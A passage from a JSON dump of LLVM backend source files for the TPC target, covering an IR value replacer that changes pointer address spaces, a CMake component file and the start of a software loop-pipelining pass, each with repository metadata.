dyn_cast<GetElementPtrInst>(Usr)) {\n Type *T = GEP->getSourceElementType();\n SmallVector<Value *, 8> Args;\n for (unsigned I = 1; I < GEP->getNumOperands(); ++I)\n Args.push_back(GEP->getOperand(I));\n auto NewGEP = GEP->isInBounds()\n ? GetElementPtrInst::CreateInBounds(T, GEP->getPointerOperand(), Args, GEP->getName(), GEP)\n : GetElementPtrInst::Create(T, GEP->getPointerOperand(), Args, GEP->getName(), GEP);\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replaced:\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *NewGEP << \"\\n\");\n rauwConvertingAddressSpace(GEP, NewGEP, Builder, DeletedInstrs);\n }\n else if (auto *BC = dyn_cast<BitCastInst>(Usr)) {\n PointerType *T = cast<PointerType>(BC->getType());\n Type* ElT = T->getElementType();\n if (PointerType*SubPT = dyn_cast<PointerType>(ElT)) {\n Type* TSubEl = SubPT->getElementType();\n assert(dyn_cast<PointerType>(TSubEl)==0);\n ElT = PointerType::get(TSubEl, NewAddressSpace);\n }\n PointerType *NT = PointerType::get(ElT, NewAddressSpace);\n auto NewBC = BitCastInst::Create(Instruction::CastOps::BitCast, BC->getOperand(0), NT, BC->getName(), BC);\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replaced:\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *NewBC << \"\\n\");\n rauwConvertingAddressSpace(BC, NewBC, Builder, DeletedInstrs);\n }\n else if (auto *CI = dyn_cast<CallInst>(Usr)) {\n Intrinsic::ID FuncID = CI->getCalledFunction()->getIntrinsicID();\n // Skip lifitime calls.\n if (FuncID == Intrinsic::lifetime_start ||\n FuncID == Intrinsic::lifetime_end) {\n if (DeletedInstrs)\n DeletedInstrs->insert(CI);\n continue;\n }\n // Update function calls.\n if (FuncID == Intrinsic::memset) {\n IRBuilder<> Builder(cast<Instruction>(Usr));\n auto *OldCall = cast<MemSetInst>(CI);\n auto NewCall = Builder.CreateMemSet(OldCall->getDest(), OldCall->getValue(),\n OldCall->getLength(),\n OldCall->getDestAlign(), OldCall->isVolatile());\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replaced:\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *NewCall << \"\\n\");\n rauwConvertingAddressSpace(CI, NewCall, &Builder, DeletedInstrs);\n continue;\n }\n if (FuncID == Intrinsic::memcpy) {\n IRBuilder<> Builder(cast<Instruction>(Usr));\n auto *OldCall = cast<MemCpyInst>(CI);\n auto NewCall = Builder.CreateMemCpy(OldCall->getDest(), OldCall->getDestAlign(),\n OldCall->getSource(), OldCall->getSourceAlign(),\n OldCall->getLength(), OldCall->isVolatile()); //TODO: other parameters\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Replaced:\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *NewCall << \"\\n\");\n rauwConvertingAddressSpace(CI, NewCall, &Builder, DeletedInstrs);\n continue;\n }\n } else if (auto PHI = dyn_cast<PHINode>(Usr)) {\n // All other income values must be converted.\n for (Use &Income : PHI->incoming_values()) {\n if (Income.get() == New)\n continue;\n }\n } else if (isa<LoadInst>(Usr) || isa<StoreInst>(Usr)) {\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \"== Remained as is:\\n\");\n DEBUG_WITH_TYPE(\"localizer\", dbgs() << \" \" << *Usr << \"\\n\");\n } else {\n llvm_unreachable(\"Cannot transform\");\n }\n }\n}\n\n\nbool ValueReplacer::PHIInfo::IsDetermined() const {\n for (auto Arg : NewArguments)\n if (!Arg)\n return false;\n return true;\n}\n\n\nvoid ValueReplacer::PHIInfo::resolve() {\n for (unsigned I = 0; I < NewArguments.size(); ++I)\n NewPHI->addIncoming(NewArguments[I], NewPHI->getIncomingBlock(I));\n}\n\n\nvoid ValueReplacer::clear() {\n for (Instruction *I : DeletedInstructions)\n I->eraseFromParent();\n}\n\n\nvoid ValueReplacer::schedule(Value *Old, Value *New) {\n WorkList.push_back(std::make_pair(Old, New));\n}\n\n\nvoid ValueReplacer::replace(Value *Old, Value *New) {\n schedule(Old, New);\n while (!WorkList.empty()) {\n auto &Item = WorkList.back();\n WorkList.pop_back();\n processItem(Item.first, Item.second);\n }\n for (auto &I : PHIMapping) {\n PHINode *OldPHI = I.first;\n PHIInfo &Info = I.second;\n PHINode *NewPHI = Info.NewPHI;\n assert(NewPHI);\n for (unsigned I = 0; I < OldPHI->getNumIncomingValues(); ++I) {\n if (Info.NewArguments[I])\n NewPHI->addIncoming(Info.NewArguments[I], OldPHI->getIncomingBlock(I));\n else\n NewPHI->addIncoming(OldPHI->getIncomingValue(I), OldPHI->getIncomingBlock(I));\n }\n OldPHI->eraseFromParent();\n }\n PHIMapping.clear();\n}\n\n\n\nvoid ValueReplacer::processItem(Value *Old, Value *New) {\n\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \"== Replacing: \" << *Old << \"\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \"== With : \" << *New << \"\\n\");\n\n if (Old == New)\n return;\n\n if (auto *I = dyn_cast<Instruction>(Old)) {\n if (!isa<PHINode>(I)) {\n DeletedInstructions.insert(I);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" <\" << *Old << \"> will be deleted\\n\");\n }\n }\n\n // If values are not of pointer types, use usual RAUW mechanism.\n if (!isa<PointerType>(Old->getType())) {\n assert(Old->getType() == New->getType());\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Use RAUW as values are not of pointer type\\n\");\n Old->replaceAllUsesWith(New);\n return;\n }\n\n // Both values must be of pointer types.\n auto OldType = cast<PointerType>(Old->getType());\n auto NewType = cast<PointerType>(New->getType());\n\n unsigned OldAddrSpace = OldType->getAddressSpace();\n unsigned NewAddrSpace = NewType->getAddressSpace();\n Type *PointeeType = OldType->getElementType();\n (void) PointeeType;\n\n if (!dyn_cast<BitCastInst>(Old) && dyn_cast<BitCastInst>(New))\n assert(PointeeType == NewType->getElementType());\n\n // If address space is not changed, use usual RAUW mechanism.\n if (OldAddrSpace == NewAddrSpace) {\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Use RAUW as address spaces are the same\\n\");\n Old->replaceAllUsesWith(New);\n return;\n }\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Apply transformation as address spaces differ\\n\");\n\n // Notify all ValueHandles (if present) that this value is going away.\n if (Old->hasValueHandle())\n ValueHandleBase::ValueIsRAUWd(Old, New);\n\n // Scan all uses of 'Old' and replace in them 'Old' for 'New'. This\n // replacement can cause replacement of the user and users of the user etc.\n unsigned Cnt = 0;\n while (!Old->use_empty()) {\n Use &U = *Old->use_begin();\n User *Usr = U.getUser();\n\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" -- Transform (\" << Cnt++ << \"): \" << *Usr << \"\\n\");\n\n // If the user itself has no uses, try eliminating it. No not eliminate PHI\n // nodes however, as they carry references to their arguments. Without them\n // arguments of new PHI nodes wouldn't be transformed.\n if (!isa<PHINode>(Usr) && Usr->getNumUses() == 0) {\n U.set(nullptr);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Removed\\n\");\n if (auto I = dyn_cast<Instruction>(Usr)) {\n if (!I->mayHaveSideEffects()) {\n DeletedInstructions.insert(I);\n continue;\n }\n } else {\n continue;\n }\n }\n\n // Skip instructions scheduled for removal.\n if (auto *I = dyn_cast<Instruction>(Usr))\n if (DeletedInstructions.count(I))\n continue;\n\n // Update user reference.\n U.set(New);\n // If an argument of a value change its type, the type of the value itself\n // also can change. In this case we must replace the user itself with a new\n // value that we construct here.\n\n if (isa<LoadInst>(Usr) || isa<StoreInst>(Usr)) {\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Remained as is: \" << *Usr << \"\\n\");\n }\n\n else if (auto *BC = dyn_cast<BitCastInst>(Usr)) {\n assert(U.getOperandNo() == 0);\n PointerType *T = cast<PointerType>(BC->getType());\n assert(T);\n int tas = T->getAddressSpace();\n if (tas == 0) {\n Type *ElT = T->getElementType();\n PointerType *SubPT = dyn_cast<PointerType>(ElT);\n if (SubPT) {\n int eltas = SubPT->getAddressSpace();\n if (eltas == 0) { // stack replacing on global\n Type *TSubEl = SubPT->getElementType();\n assert(dyn_cast<PointerType>(TSubEl) == 0);\n ElT = PointerType::get(TSubEl, NewAddrSpace);\n }\n }\n PointerType *NT = PointerType::get(ElT, NewAddrSpace);\n auto NBC = new BitCastInst(BC->getOperand(0), NT, BC->getName(), BC);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Replacing:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *BC << \"\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" with:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *NBC << \"\\n\");\n schedule(BC, NBC);\n }\n }\n\n else if (auto GEP = dyn_cast<GetElementPtrInst>(Usr)) {\n assert(U.getOperandNo() == 0);\n Type *T = GEP->getSourceElementType();\n SmallVector<Value *, 8> Args;\n for (unsigned I = 1; I < GEP->getNumOperands(); ++I)\n Args.push_back(GEP->getOperand(I));\n auto NGEP = GEP->isInBounds()\n ? GetElementPtrInst::CreateInBounds(T, New, Args, GEP->getName(), GEP)\n : GetElementPtrInst::Create(T, New, Args, GEP->getName(), GEP);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Replacing:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *GEP << \"\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" with:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *NGEP << \"\\n\");\n schedule(GEP, NGEP);\n }\n\n else if (auto *CI = dyn_cast<CallInst>(Usr)) {\n Intrinsic::ID FuncID = CI->getCalledFunction()->getIntrinsicID();\n if (FuncID == Intrinsic::lifetime_start ||\n FuncID == Intrinsic::lifetime_end) {\n // Lifetime intrinsics are used for marking alloca life ranges. We cannot\n // use them when moving allocas to global scope and cannot see then when\n // moving global variables to local scope.\n assert(U.getOperandNo() == 1);\n DeletedInstructions.insert(CI);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Remove:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *CI << \"\\n\");\n }\n else if (FuncID == Intrinsic::memset) {\n assert(U.getOperandNo() == 0);\n IRBuilder<> Builder(CI);\n auto *MemSetCall = cast<MemSetInst>(CI);\n MDNode *TBAA = MemSetCall->getMetadata(LLVMContext::MD_tbaa);\n MDNode *ScopeMD = MemSetCall->getMetadata(LLVMContext::MD_alias_scope);\n MDNode *NoAliasMD = MemSetCall->getMetadata(LLVMContext::MD_noalias);\n\n // We need to use other function due to change of argument type.\n CallInst *NewMemSet = Builder.CreateMemSet(New, MemSetCall->getValue(),\n MemSetCall->getLength(), MemSetCall->getDestAlign(),\n MemSetCall->isVolatile(), TBAA, ScopeMD, NoAliasMD);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Updated to:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *NewMemSet << \"\\n\");\n (void)NewMemSet;\n DeletedInstructions.insert(MemSetCall);\n }\n else if (FuncID == Intrinsic::memcpy) {\n assert(U.getOperandNo() == 0 || U.getOperandNo() == 1);\n IRBuilder<> Builder(CI);\n auto *MemCpyCall = cast<MemCpyInst>(CI);\n MDNode *TBAA = MemCpyCall->getMetadata(LLVMContext::MD_tbaa);\n MDNode *TBAAStruct = MemCpyCall->getMetadata(LLVMContext::MD_tbaa_struct);\n MDNode *ScopeMD = MemCpyCall->getMetadata(LLVMContext::MD_alias_scope);\n MDNode *NoAliasMD = MemCpyCall->getMetadata(LLVMContext::MD_noalias);\n\n // We need to use other function due to change of argument type.\n CallInst *NewMemCpy = Builder.CreateMemCpy(\n MemCpyCall->getDest(), MemCpyCall->getDestAlign(),\n MemCpyCall->getSource(), MemCpyCall->getSourceAlign(),\n MemCpyCall->getLength(), MemCpyCall->isVolatile(),\n TBAA, TBAAStruct, ScopeMD, NoAliasMD);\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Replaced:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *NewMemCpy << \"\\n\");\n (void)NewMemCpy;\n DeletedInstructions.insert(MemCpyCall);\n }\n else {\n llvm_unreachable(\"Unexpected function call\");\n }\n }\n\n else if (auto PHI = dyn_cast<PHINode>(Usr)) {\n PHIInfo &Info = PHIMapping[PHI];\n if (!Info.NewPHI) {\n IRBuilder<> Builder(PHI);\n unsigned NumIncomes = PHI->getNumIncomingValues();\n Info.NewArguments.resize(NumIncomes, nullptr);\n Info.NewPHI = Builder.CreatePHI(NewType, NumIncomes, PHI->getName());\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Created new PHI: \" << *Info.NewPHI << '\\n');\n schedule(PHI, Info.NewPHI);\n } else {\n assert(!Info.IsDetermined());\n }\n\n unsigned ArgNo = U.getOperandNo();\n assert(ArgNo < Info.NewArguments.size());\n assert(Info.NewArguments[ArgNo] == nullptr);\n Info.NewArguments[ArgNo] = New;\n/* if (Info.IsDetermined()) {\n Info.resolve();\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Resolved new PHI for: \" << *Info.NewPHI);\n }\n*/\n }\n\n else if (auto Cmp = dyn_cast<CmpInst>(Usr)) {\n unsigned OtherOperandNo;\n if (New == Cmp->getOperand(0)) {\n OtherOperandNo = 1;\n } else {\n assert(New == Cmp->getOperand(1));\n OtherOperandNo = 0;\n }\n Value *OtherOperand = Cmp->getOperand(OtherOperandNo);\n\n // If type of the other argument has already the required address space,\n // assume that it is already convered.\n auto OtherType = cast<PointerType>(OtherOperand->getType());\n if (OtherType->getAddressSpace() == NewAddrSpace)\n continue;\n\n // Scan pending replacements. If the operand is in this set, replace it now.\n Value *Replacement = nullptr;\n for (auto Item : WorkList) {\n if (Item.first == OtherOperand) {\n Replacement = Item.second;\n break;\n }\n }\n assert(Replacement);\n Cmp->setOperand(OtherOperandNo, Replacement);\n }\n\n else if (auto ASC = dyn_cast<AddrSpaceCastInst>(Usr)) {\n auto *PT = cast<PointerType>(ASC->getType());\n (void) PT;\n assert(PT->getAddressSpace() == NewAddrSpace);\n assert(ASC->getOperand(0) == New);\n ASC->replaceAllUsesWith(New);\n ASC->eraseFromParent();\n }\n\n else if (auto CE = dyn_cast<ConstantExpr>(Usr)) {\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" Constant expression:\\n\");\n DEBUG_WITH_TYPE(\"replacer\", dbgs() << \" \" << *CE << \"\\n\");\n if (CE->isCast()) {\n assert(CE->getOperand(0) == New);\n auto *PT = cast<PointerType>(CE->getType());\n if (PT->getAddressSpace() != NewAddrSpace) {\n PointerType *OT = cast<PointerType>(CE->getType());\n PointerType *NT = PointerType::get(OT->getElementType(), NewAddrSpace);\n auto NCE = ConstantExpr::getCast(CE->getOpcode(), CE->getOperand(0), NT);\n schedule(CE, NCE);\n }\n } else {\n llvm_unreachable(\"Cannot transform constant expression\");\n }\n }\n else if (auto PI = dyn_cast<PtrToIntInst>(Usr)) {\n auto oprnd = PI->getOperand(0);\n PointerType *pt = cast<PointerType>(oprnd->getType());\n if (pt->getAddressSpace() == OldAddrSpace) {\n PointerType *NT = PointerType::get(pt, NewAddrSpace);\n auto NBC = new PtrToIntInst(oprnd, NT, PI->getName(), PI);\n schedule(BC, NBC);\n }\n }\n else {\n llvm_unreachable(\"Cannot transform\");\n }\n }\n}\n\n\n#ifdef _DEBUG\nvoid dump_users(const Value *V) {\n if (!V) {\n dbgs() << \"NULL\\n\";\n return;\n }\n dbgs() << \"------ Users of:\\n\";\n V->dump();\n dbgs() << \"------\\n\";\n unsigned cnt = 0;\n for (const Use &U : V->uses()) {\n dbgs() << \"[\" << cnt << \"] \";\n auto *Usr = U.getUser();\n if (Usr)\n Usr->dump();\n else\n dbgs() << \"NULL\\n\";\n ++cnt;\n }\n dbgs() << \"------\\n\";\n}\n#endif\n}\n" }, { "alpha_fraction": 0.837837815284729, "alphanum_fraction": 0.837837815284729, "avg_line_length": 26.75, "blob_id": "4e1a66620f1cb9d80a20b50feef8214d4a9bc55e", "content_id": "73b0b6900521d755744f11ac4958e644759f50b4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 111, "license_type": "permissive", "max_line_length": 47, "num_lines": 4, "path": "/llvm/lib/Target/TPC/TargetInfo/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "add_llvm_component_library(LLVMTPCInfo\n TPCTargetInfo.cpp\n )\nadd_dependencies(LLVMTPCInfo TPCCommonTableGen)\n" }, { "alpha_fraction": 0.6150947213172913, "alphanum_fraction": 0.6212259531021118, "avg_line_length": 34.519981384277344, "blob_id": "a0492e38d55b6edea5829074b24e02c6ba2fb417", "content_id": "4fd252b3e567470842318473b327a1d47884aa36", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 71111, "license_type": "permissive", "max_line_length": 176, "num_lines": 2002, "path": "/llvm/lib/Target/TPC/TPCSoftwareLoopPipelining.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSoftwareLoopPipelining.cpp - Pipeline loops -----===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass pipilenes innermost loops\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/Analysis/LoopIterator.h\"\n#include \"llvm/CodeGen/MachineBasicBlock.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/DebugLoc.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/MathExtras.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Utils/LoopSimplify.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include <cassert>\n#include <cstdint>\n#include <cstdlib>\n#include <iterator>\n#include <map>\n#include <set>\n#include <utility>\n#include <vector>\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"pipelining\"\n\nstatic cl::opt<bool>\n EnablePipelining(\"pipeline-loops\", cl::Hidden,\n cl::desc(\"Enable software pipelining\"), cl::init(true));\n\nnamespace llvm {\n\n FunctionPass *createTPCPipeliner();\n void initializeTPCPipelinerPass(PassRegistry&);\n\n} // end namespace llvm\n\ntypedef std::map<unsigned, std::vector<unsigned>> AccumChains;\ntypedef std::map<unsigned, unsigned> RegMap;\n\nstruct ExThreadParams {\n RegMap VRegMap;\n std::vector<MachineInstr*> ThreadInstrs;\n std::vector<MachineInstr*> Phis;\n std::vector<MachineInstr*> CounterInstrs;\n\n std::vector<MachineInstr*> Dprolog;\n std::vector<MachineInstr*> Dphi;\n std::vector<MachineInstr*> Dloop;\n std::vector<MachineInstr*> Dshift;\n std::vector<MachineInstr*> Epilog;\n};\n\nclass TPCPipeliner : public MachineFunctionPass {\n MachineLoopInfo *MLI;\n MachineRegisterInfo *MRI;\n MachineDominatorTree *MDT; //Needed?\n const TPCInstrInfo *TII;\n const TargetRegisterInfo *TRI;\n MachineFunction *LMF;\n\n std::vector<ExThreadParams> ExecThreads;\n AccumChains AccumulateMap;\n std::map<MachineInstr*, int> LinearIVs;\n\n // For a given phi-def store it's values for (UnrollCount - 1) iterations\n // in case phi executions paths depend on each other\n std::map<unsigned, std::vector<unsigned> > AdjustedPhis;\n std::vector<MachineInstr*> DelayedPhis;\n\n std::vector<unsigned> InitialCounters;\n std::vector<unsigned> EndCounters;\n std::vector<unsigned> NextCounters;\n std::vector<unsigned> LeftCounters;\n\n MachineBasicBlock* Header;\n MachineBasicBlock* Latch;\n MachineBasicBlock* Exit;\n MachineBasicBlock* Prolog;\n\n MachineLoop* CurLoop;\n MachineInstr* LoopInst;\n unsigned LoopCounter;\n\n bool Ascending; // Indicates whether the counter is ascending or descending\n bool Inclusive; // Indicates whether the boundary in inclusive or exclusive\n\n // Auxiliary iterator for tracking the epilog of the pipeliened loop\n // just so we don't need to create different blocks for accumulators and epilog\n MachineBasicBlock::iterator EpilogInserter;\n MachineBasicBlock::iterator PrologInserter;\n\npublic:\n static char ID;\n TPCPipeliner() : MachineFunctionPass(ID), MLI(nullptr), MRI(nullptr), MDT(nullptr),\n TII(nullptr), TRI(nullptr), LMF(nullptr),\n Header(nullptr), Latch(nullptr), Exit(nullptr), Prolog(nullptr),\n CurLoop(nullptr), LoopInst(nullptr), LoopCounter(-1),\n Ascending(false), Inclusive(false) {\n initializeTPCPipelinerPass(*PassRegistry::getPassRegistry());\n }\n bool runOnMachineFunction(MachineFunction &MF) override;\n\n StringRef getPassName() const override { return \"TPC Software Loop Pipelining\"; }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<MachineDominatorTree>();\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n\nprivate:\n bool pipeline(MachineLoop* L);\n bool unrollAndAlign(unsigned UnrollCount, bool DoPipelining);\n bool findInnermostLoop(MachineLoop* L);\n void replaceVregs(MachineInstr* MI, unsigned ThreadNum);\n unsigned getCounterRegister(MachineLoop* L);\n void decoupleIfPossible(MachineInstr* MI, unsigned ThreadNum);\n bool align(std::vector<unsigned>& Shifts);\n void createPrologCounters(int Counter, MachineBasicBlock* PrologBlock);\n void createEpilogCounters(int Counter, MachineBasicBlock* PrologBlock);\n void createNextCounters(int Counter, MachineBasicBlock* PrologBlock);\n bool isPhiDef(unsigned Reg, unsigned Thread);\n void replaceUses(MachineInstr* MI, unsigned Old, unsigned New);\n void modifyBoundary(unsigned Decrement);\n void calcLoopForm();\n bool isCyclicDependency(MachineInstr* Phi, MachineInstr* MovedInst, MachineOperand& Use);\n void phiPath(MachineInstr* Phi, std::vector<MachineInstr*>& Path, MachineOperand& HeadPhiUse);\n void patchPhiStartValue(MachineInstr* Phi, int UnrollCount, MachineBasicBlock* MBB, MachineBasicBlock::instr_iterator I);\n void replaceWithZero(MachineOperand& ReplaceMO, TPCII::OpType ot);\n void findLinearInduction(unsigned UnrollCount);\n void setPrologInserter();\n void sortDelayedPhis();\n bool feedsPhi(MachineInstr* MI);\n void correctCounters(int Counter);\n void correctIVs(int Counter);\n void correctExit();\n bool checkForProhibitingInstructions();\n void addDoubleRegs(MachineBasicBlock* Accum, unsigned Res, unsigned Op1,\n unsigned Op2, unsigned AddOpc, TPCII::OpType Type,\n const TargetRegisterClass* RC);\n void addQuadroRegs(MachineBasicBlock* Accum, unsigned Res, unsigned Op1,\n unsigned Op2, unsigned AddOpc, TPCII::OpType Type,\n const TargetRegisterClass* RC);\n};\n\nINITIALIZE_PASS_BEGIN(TPCPipeliner, \"pipelining\",\n \"TPC Software Loop Pipelining\", false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\nINITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\nINITIALIZE_PASS_END(TPCPipeliner, \"pipelining\",\n \"TPC Software Loop Pipelining\", false, false)\n\nFunctionPass *llvm::createTPCPipeliner() {\n return new TPCPipeliner();\n}\n\nchar TPCPipeliner::ID = 0;\n\nbool TPCPipeliner::runOnMachineFunction(MachineFunction &MF) {\n if (!EnablePipelining) {\n return false;\n }\n MLI = &getAnalysis<MachineLoopInfo>();\n MRI = &MF.getRegInfo();\n MDT = &getAnalysis<MachineDominatorTree>();\n TII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n TRI = MF.getSubtarget<TPCSubtarget>().getRegisterInfo();\n LMF = &MF;\n\n bool Changed = false;\n for (auto &L : *MLI) {\n Changed |= findInnermostLoop(L);\n }\n\n return Changed;\n}\n\nstatic bool isLoop(MachineInstr* MI) {\n return TPCII::isLoopInst(MI->getDesc()) && MI->getOpcode() != TPC::LOOPEND;\n}\n\nstatic unsigned getAddOpc(TPCII::OpType Type, const TargetRegisterClass* RC) {\n if (TPC::SRFRegClass.hasSubClassEq(RC))\n return TPC::ADDssp;\n if (TPC::VRFRegClass.hasSubClassEq(RC))\n return TPC::ADDvvp;\n if(TPC::ARFRegClass.hasSubClassEq(RC))\n return TPC::ADDvvp;\n if(TPC::DRFRegClass.hasSubClassEq(RC))\n return TPC::ADDvvp;\n if(TPC::ZRFRegClass.hasSubClassEq(RC))\n return TPC::ADDssp;\n if(TPC::IRFRegClass.hasSubClassEq(RC)) {\n assert(false && \"No accumulators for IRFs\");\n } else {\n llvm_unreachable(\"Unimplemented reg class as accumulator\");\n }\n return 0;\n}\n\nbool TPCPipeliner::findInnermostLoop(MachineLoop* L) {\n if (L->begin() == L->end()) {\n return pipeline(L);\n }\n\n bool Changed = false;\n for (MachineLoop::iterator I = L->begin(), E = L->end(); I != E; ++I) {\n Changed |= findInnermostLoop(*I);\n }\n return Changed;\n}\n\nstatic bool isAccumulator(MachineInstr* MI) {\n if (TPCII::getSlotOpCode(MI->getDesc()) == TPCII::vpuMAC/* ||\n TPCII::getSlotOpCode(MI->getDesc()) == TPCII::spuvpuADD*/) {\n return true;\n }\n return false;\n}\n\nbool TPCPipeliner::feedsPhi(MachineInstr *MI) {\n for (MachineOperand& MO : MI->defs()) {\n for (MachineInstr &UseMI : MRI->use_instructions(MO.getReg())) {\n if (UseMI.isPHI() && CurLoop->contains(&UseMI)) {\n return true;\n }\n }\n }\n\n return false;\n}\n\n// For effective pipelining we need not to just unroll, but make\n// execution threads independent. In order to do that we need to create new\n// virtual registers for cloned instructions. But we can't do it\n// for everything. If the def of an instructions is used after loop\n// then decoupling this instruction creates data that's going to be lost.\n// In that case we need to gather results from all threads of execution\n// in one register. For now we can only do that with addition, i.e.\n// if instruction is accumulator.\nvoid TPCPipeliner::decoupleIfPossible(MachineInstr* MI, unsigned ThreadNum) {\n bool SurvivesLoop = false;\n bool InLoopUse = false;\n for (MachineOperand& MO : MI->defs()) {\n for (MachineInstr &UseMI : MRI->use_instructions(MO.getReg())) {\n //UseMI.dump();\n if (!CurLoop->contains(&UseMI)) {\n SurvivesLoop = true;\n break;\n } else if (!MI->isPHI()) {\n InLoopUse = true;\n }\n if (SurvivesLoop) break;\n }\n }\n\n // For phi we need also to patch all it's uses\n if (MI->isPHI()) {\n //MI->dump();\n assert(!SurvivesLoop && \"Phi should not be used outside a loop\");\n\n for (MachineOperand& MO : MI->defs()) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n ExecThreads[ThreadNum].VRegMap[MO.getReg()] = v_reg;\n\n for (MachineInstr* ThreadMI : ExecThreads[ThreadNum].ThreadInstrs) {\n for (MachineOperand& TMO : ThreadMI->uses()) {\n if (TMO.isReg() && TMO.getReg() == MO.getReg()) {\n TMO.setReg(v_reg);\n }\n }\n }\n\n MO.setReg(v_reg);\n }\n return;\n }\n\n if (!SurvivesLoop || LinearIVs.count(MI) > 0) {\n for (MachineOperand& MO : MI->defs()) {\n if (MO.getReg().isPhysical()) {\n continue;\n }\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n ExecThreads[ThreadNum].VRegMap[MO.getReg()] = v_reg;\n MO.setReg(v_reg);\n }\n } else {\n // TODO: there must be more complex analysis, we need to check\n // how this surviving value uses values of the loop\n if (isAccumulator(MI) && feedsPhi(MI) && !InLoopUse) {\n for (MachineOperand& MO : MI->defs()) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n ExecThreads[ThreadNum].VRegMap[MO.getReg()] = v_reg;\n AccumulateMap[MO.getReg()].push_back(v_reg);\n MO.setReg(v_reg);\n }\n } else {\n // If it's not an accumulator, then the value of the last iteration\n // should be used. Patch every use outside of the loop to the\n // value of the last execution thread\n for (MachineOperand& MO : MI->defs()) {\n\n if (MO.getReg().isPhysical())\n continue;\n\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n unsigned OrigReg = MO.getReg();\n ExecThreads[ThreadNum].VRegMap[OrigReg] = v_reg;\n MO.setReg(v_reg);\n\n if (ThreadNum == ExecThreads.size() - 1) {\n for (MachineRegisterInfo::use_iterator\n RSUse = MRI->use_begin(OrigReg), RSE = MRI->use_end();\n RSUse != RSE; ++RSUse) {\n\n MachineInstr *RSUseMI = RSUse->getParent();\n if 